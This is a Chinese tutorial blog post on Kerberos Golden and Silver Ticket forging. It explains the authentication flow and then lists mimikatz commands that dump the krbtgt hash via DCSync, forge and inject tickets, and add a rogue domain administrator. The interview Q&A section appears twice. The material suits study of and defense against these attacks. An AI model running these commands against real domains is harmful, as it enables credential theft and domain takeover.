内网渗透——黄金票据与白银票据

news2024/9/25 7:22:39

文章目录

  • 黄金票据与白银票据
    • 1. 背景
    • 2. 具体实现
      • 2.1 Kerberos协议认证流程
    • 3. 黄金票据
      • 3.1 条件
      • 3.2 适用场景
      • 3.3 利用方式
    • 4. 白银票据
      • 4.1 条件
      • 4.2 适用场景
      • 4.3 利用方式
    • 5. 金票和银票的区别
      • 5.1 获取的权限不同
      • 5.2 认证流程不同
      • 5.3 加密方式不同
    • 6. 经典面试题
      • 6.1 什么是黄金票据与白银票据?
      • 6.2 kerberos认证流程?
      • 6.1 什么是黄金票据与白银票据?
      • 6.2 kerberos认证流程?

黄金票据与白银票据

TGT(票据授权票):无法对任何服务进行访问,但是TGT可以认证用户的身份。(身份票据)

TGT有权限去申请其他服务的票据。获取到其他服务的票据后如邮件服务的票据,就可以访问邮件服务了。

说明:

  • 黄金票据(TGT)就是身份票据

  • 白银票据(SGT)就是服务票据

为什么要先去找TGT再去找服务,不能直接去找服务呢?

  • 因为服务没有办法验证用户的身份,需要域来进行介入

PTH哈希传递

PTT票据传递(黄金票据与白银票据)

1. 背景

1、个人文件还是公司文件以及服务都存在于一台系统上,所有人都要去一台机器办公,效率非常低,为每个人分配了电脑以后就需要考虑安全问题

2、如何让服务器正确识别每一个人,假定所有数据包在传输过程中都可以被任意截取和修改

3、在每一台电脑上都存入所有人的账户密码是不现实的,所以引入一个认证服务统一管理所有的用户密码

4、假设用户访问邮件服务,认证服务让你提供密码以此来证明身份,它把你提供的密码和数据库中的密码相比较,通过认证,认证服务不会提供给你任何密码,不然下次你就可以不认证直接利用密码登录,认证服务会给你一张票,拿到票后,你把此票给邮件服务,以此来证明你的身份

5、需要解决的问题,每次使用还没有得到票的服务前,都必须给认证密码。比如使用邮件服务,就要输入一次。使用文件服务,又要输入一次。打印服务,还要输入一次,并且网络中明文传输密码。不法分子就可以监听网络流量获取密码。

6、引入”票据授权”服务(TGS),TGS将代替认证服务的发票功能,以后认证服务不在提供票据,如果你有TGS发放的服务票证,可以使用此票对应的服务

7、如果你通过了认证服务的验证,将会得到一张票据授权票(TGT),现在你想使用邮件服务,然而还没有邮件服务的票,所以你使用”票据授权”票去取邮件服务的票,”票据授权”票,可以使用此票获取你需要的其他服务票

8、解决密码明文传输,当你取得票据授权票时,不再发送密码,而只发送你的用户名,认证服务得到用户名以后用此用户名查你的密码,之后认证服务会制作一个包含票据授权票(TGT)的数据包,并且用你的密码加密此数据包,这样即使数据包被截取没有密码无法解密也获取不到TGT

9、票据的有效期问题,有效期内票据丢失会产生复用,并且没法灵活销毁票据

10、引入会话密钥session key ,认证服务,认证服务会返回票以及一份session key,都用用户的ntml加密,用户利用session key生成认证器来与服务进行沟通

2. 具体实现

1、KDC 服务默认会安装在一个域的域控中

Kerberos协议对于用户的认证上在域控中有的服务名称是:KDCKDC包含了AS服务和TGS服务

  • (Authentication Service)AS服务下发身份票据TGT也就是黄金票据

  • (Ticket Granting Service)TGS服务下发服务票据SGT也就是白银票据

2、从物理层面看,AD与KDC均为域控制器(Domain Controller)

3、AD其实是一个类似于本机SAM的一个数据库,全称叫account database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT

4、KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。

KRBTGT hash可以理解为域管理员的哈希值,域控才有KRBTGT hash

image-20231010114833519

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:

  1. The Authentication Service Exchange:Client 与 AS 的交互,

  2. The Ticket-Granting Service (TGS) Exchange:Client 与 TGS 的交互,

  3. The Client/Server Authentication Exchange:Client 与 Server 的交互

2.1 Kerberos协议认证流程

image-20231010205704438

1、客户端发送自己的用户名给AS


2AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息
	TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密
	TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密


3、用自己的NTLM哈希解密TGT1,获得TGS服务器信息以及session key(as)TGT2由于是别人的哈希,所以解不开
	生成认证因子(客户端信息,当前时间)--session key(as)加密
	发送认证因子以及TGT2TGS服务


4TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端
	TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密
	TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密


5、客户端解密TGT3,得到session key(TGS),服务器信息
	生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密
	发送认证因子2以及TGT4给服务器


6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期
	利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务

3. 黄金票据

黄金票据就是伪造的TGT,AS返回的票据

3.1 条件

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名

3.2 适用场景

由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码

3.3 利用方式

1、在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存

privilege::debug
lsadump::lsa /patch

image-20231010115055805

mimikatz log "lsadump::dcsync /domain:xiusafe /user:krbtgt"//导出NTLM哈希
kerberos::golden /user:administrator /domain:xiusafe.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi

/user:需要伪造的域管理员用户

/domain:域名称

/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)

/krbtgt:krbtgt的HASH值

/ticket:生成的票据名称

image-20231010115134409

2、清除票据

kerberos::purge   \\清除票据
kerberos::tgt     \\查看票据

3、导入票据

kerberos::ptt ticket.kirbi

4、创建域管

net user a !@#qwe123 /add /domain
net group "domain admins" a /add /domain

4. 白银票据

白银票据就是伪造的ST,TGS返回的票据

4.1 条件

1.域名

2.域sid

3.目标服务器名

4.可利用的服务

5.服务账号的NTML HASH

6.需要伪造的用户名

4.2 适用场景

知道服务器的Hash,可以访问服务器的某些服务而不用于kdc进行交互

4.3 利用方式

伪造票据

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:需要访问的服务 /rc4:服务账号NTMLHASH /user:用户名 /ptt

用户名可随意填写

image-20231010115250088

先使用mimikatz清空票据,再导入伪造的票据

5. 金票和银票的区别

5.1 获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限。

银票:伪造的ST,只能访问指定的服务,如文件服务器(CIFS)。

5.2 认证流程不同

金票:同KDC交互,但不同AS交互。

银票:不同KDC交互,直接访问Server。

5.3 加密方式不同

金票:由krbtgt NTLM Hash 加密。

银票:由服务账号 NTLM Hash 加密。

6. 经典面试题

6.1 什么是黄金票据与白银票据?

  • 黄金票据就是伪造了Kerberos协议中的身份票据(TGT)

    • 黄金票据可以访问该用户身份的所有服务
  • 白银票据就是伪造了Kerberos协议通信流程中服务票据(SGT)

    • 白银票据只能访问某一个服务
  • 使用域管理员身份创建的票据就是黄金票据,可以访问域内的所有服务。

6.2 kerberos认证流程?

  • 客户端先去找AS服务进行认证,获取身份票据TGT。

  • 然后拿着TGT票据寻找TGS服务,获取服务票据。

经典面试题

6.1 什么是黄金票据与白银票据?

  • 黄金票据就是伪造了Kerberos协议中的身份票据(TGT)

    • 黄金票据可以访问该用户身份的所有服务
  • 白银票据就是伪造了Kerberos协议通信流程中服务票据(SGT)

    • 白银票据只能访问某一个服务
  • 使用域管理员身份创建的票据就是黄金票据,可以访问域内的所有服务。

6.2 kerberos认证流程?

  • 客户端先去找AS服务进行认证,获取身份票据TGT。

  • 然后拿着TGT票据寻找TGS服务,获取服务票据。

  • 拿着服务票据访问具体的服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1079195.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

(蓝宝书)网络安全——CTF那些事儿

欢迎关注博主 Mindtechnist 或加入【智能科技社区】一起学习和分享Linux、C、C、Python、Matlab,机器人运动控制、多机器人协作,智能优化算法,滤波估计、多传感器信息融合,机器学习,人工智能等相关领域的知识和技术。关…

【常用页面记录】vue+elementUI实现搜索框+上拉加载列表

一、代码 <template><div class"mainBox"><div class"headbox"><el-input placeholder"请输入文件名称搜索" prefix-icon"el-icon-search" v-model"fileName" :clearable"true" change&qu…

Spring5应用之事务处理

作者简介&#xff1a;☕️大家好&#xff0c;我是Aomsir&#xff0c;一个爱折腾的开发者&#xff01; 个人主页&#xff1a;Aomsir_Spring5应用专栏,Netty应用专栏,RPC应用专栏-CSDN博客 当前专栏&#xff1a;Spring5应用专栏_Aomsir的博客-CSDN博客 文章目录 参考文献前言事务…

【Vuex+ElementUI】

一、导言 1、引言 Vuex是一个用于Vue.js应用程序的状态管理模式和库。它建立在Vue.js的响应式系统之上&#xff0c;提供了一种集中管理应用程序状态的方式。使用Vuex&#xff0c;您可以将应用程序的状态存储在一个单一的位置&#xff08;即“存储”&#xff09;中&#xff0c;…

软件‘小程序‘前台开发软件定制的知识|app网站搭建

软件&#xff0c;小程序&#xff0c;前台开发软件定制的知识 随着互联网的快速发展&#xff0c;软件&#xff0c;小程序&#xff0c;前台开发软件定制已经成为了企业必备的工具。它可以帮助企业更好地管理业务&#xff0c;提高效率&#xff0c;增强用户体验。那么&#xff0c;什…

英语——分享篇——每日100词——701-800

audience——n.听众&#xff0c;观众&#xff0c;读者——au澳大利亚(编码)di弟(拼音)ence摁厕(拼音)———听众在澳大利亚被弟弟摁倒在厕所 flu———n.流行性感冒———flu俘虏————俘虏带来流行性感冒 belt———n.腰带&#xff0c;皮带———b6(象形)el饿狼(拼音)t伞(…

flutter入门实践2——将完成的flutter软件打包为apk

将完成的flutter软件打包为apk&#xff1a; 视频版&#xff1a; 【前端教程-Flutter篇-flutter之打包安卓版本的APP】https://www.bilibili.com/video/BV11K4y1S7Sg?vd_sourcec008a8e3bd95154e374408adc754394a 文字版&#xff1a;Flutter 打包APP &#xff08;Android &am…

《动手学深度学习 Pytorch版》 8.3 语言模型和数据集

8.3.1 学习语言模型 依靠在 8.1 节中对序列模型的分析&#xff0c;可以在单词级别对文本数据进行词元化。基本概率规则如下&#xff1a; P ( x 1 , x 2 , … , x T ) ∏ t 1 T P ( x t ∣ x 1 , … , x t − 1 ) P(x_1,x_2,\dots,x_T)\prod^T_{t1}P(x_t|x_1,\dots,x_{t-1}) …

黑马JVM总结(三十)

&#xff08;1&#xff09;类加载-连接-解析 new对象&#xff0c;会触发对象的解析和初始化 通过类加载器加载类C&#xff0c;这里只会进行类C的加载并不会导致类C的解析以及初始化&#xff0c;这样加载类C的时候类D也不会解析跟初始化 通过jps找到进程id&#xff1a; 打开…

Ant Design Form.List基础用法

使用 Form.List 使用 项目中需要在新增可以多个如图 代码如下 // An highlighted block <Card title"产品信息" bordered{false}><Form.List name"productList" >{(fields, {add, remove}) > (<>{fields.map((field) > (<Ro…

1.2Python 三方库的安装以 pandas 为例_python量化实用版教程(初级)

Python 三方库的安装以 pandas 为例 Python 拥有丰富的第三方库&#xff0c;可以方便地进行各种编程任务。以 pandas 库为例&#xff0c;下面是安装 pandas 库的步骤&#xff1a; 1. 打开命令行终端&#xff08;Windows 用户可以使用 cmd&#xff0c;Linux 和 Ma…

ArcGIS/GeoScene脚本:基于粒子群优化的支持向量机分类模型

参数输入 输出 栅格 预测为负类的概率 预测为正类的概率 二值化结果 评估结果 ROC曲线

绝地求生是一款大逃杀游戏,玩家需要在一个封闭的地图上与其他玩家进行生存竞争

绝地求生是韩国蓝洞公司开发的一款大逃杀游戏。玩家绝地求生是一款以生存竞争为主题的多人在线射击游戏。玩家将被放置在一个封闭的地图中&#xff0c;需要在资源有限的环境中生存下来&#xff0c;并与其他玩家进行战斗。玩家需要不断搜索武器和装备&#xff0c;同时要注意限定…

web:[MRCTF2020]你传你呢

题目 点进页面显示如下 上传文件&#xff0c;先随便上传一个文件看看情况 构造含有一句话木马的图片上传 访问显示错误 这里参考了大佬的wp&#xff0c;上传一个.htaccess文件,这个.htaccess文件的作用就是把这个图片文件解析成php代码执行 .htaccess文件的内容为 <FilesM…

OpenCV4(C++)—— 几何图形的绘制

文章目录 一、基本图形1、线2、线圆3、线椭圆4、矩形 二、多边形 一、基本图形 1、线 绘制线&#xff0c;要给出两个点坐标 void cv::line(InputOutputArray img, Point pt1, Point pt2, const Scalar& color, int thickness 1, int lineType LINE_8, int shift 0);…

【编程的黄金法则】适度注释,保持平衡

引言 身为一名程序员&#xff0c;你是否也曾为到底需不需要写注释而烦恼&#xff1f; 有些人认为&#xff0c;代码如诗&#xff0c;注释则是诗中的注解&#xff0c;能够帮助他人&#xff08;包括未来的你自己&#xff09;理解代码的意图。而另一些人则认为&#xff0c;好的代…

3D目标检测数据集 DAIR-V2X-V

本文分享国内场景3D目标检测&#xff0c;公开数据集 DAIR-V2X-V&#xff08;也称为DAIR-V2X车端&#xff09;。DAIR-V2X车端3D检测数据集是一个大规模车端多模态数据集&#xff0c;包括&#xff1a; 22325帧 图像数据22325帧 点云数据2D&3D标注 基于该数据集&#xff0c;可…

Excel 规范录入数据

文章目录 录入日期录入百分比 快捷键&#xff1a; tab&#xff1a;向右切换单元格 enter&#xff1a;向下切换行 shift tab&#xff1a;向左切换单元格 shiftenter&#xff1a;向上切换行 录入日期 输入今天的日期的快捷键&#xff1a;Ctrl ; 输入当时的时间的快捷键&a…

第二章:OSI参考模型与TCP/IP模型

OSI参考模型与TCP/IP模型 一、OSI参考模型二、TCP/IP模型2.1 四层分法&#xff08;书上&#xff09;2.2 五层分法&#xff08;实际厂商&#xff09;2.3 数据封装和解封装2.3.1 封装2.3.2 解封装2.3.3 TCP/IP分层封装2.3.4 数据封装和解封装过程 一、OSI参考模型 1.物理层 定义电…

[RoarCTF 2019]Easy Calc - RCE(函数输出)+参数waf绕过(PHP字符串解析特性)

[RoarCTF 2019]Easy Calc 1 解题流程2 思考总结 1 解题流程 打开页面让我们输入&#xff0c;输了没反应&#xff08;执行报错&#xff09;&#xff0c;F12发现js有代码$(#calc).submit(function(){$.ajax({url:"calc.php?num"encodeURIComponent($("#content&…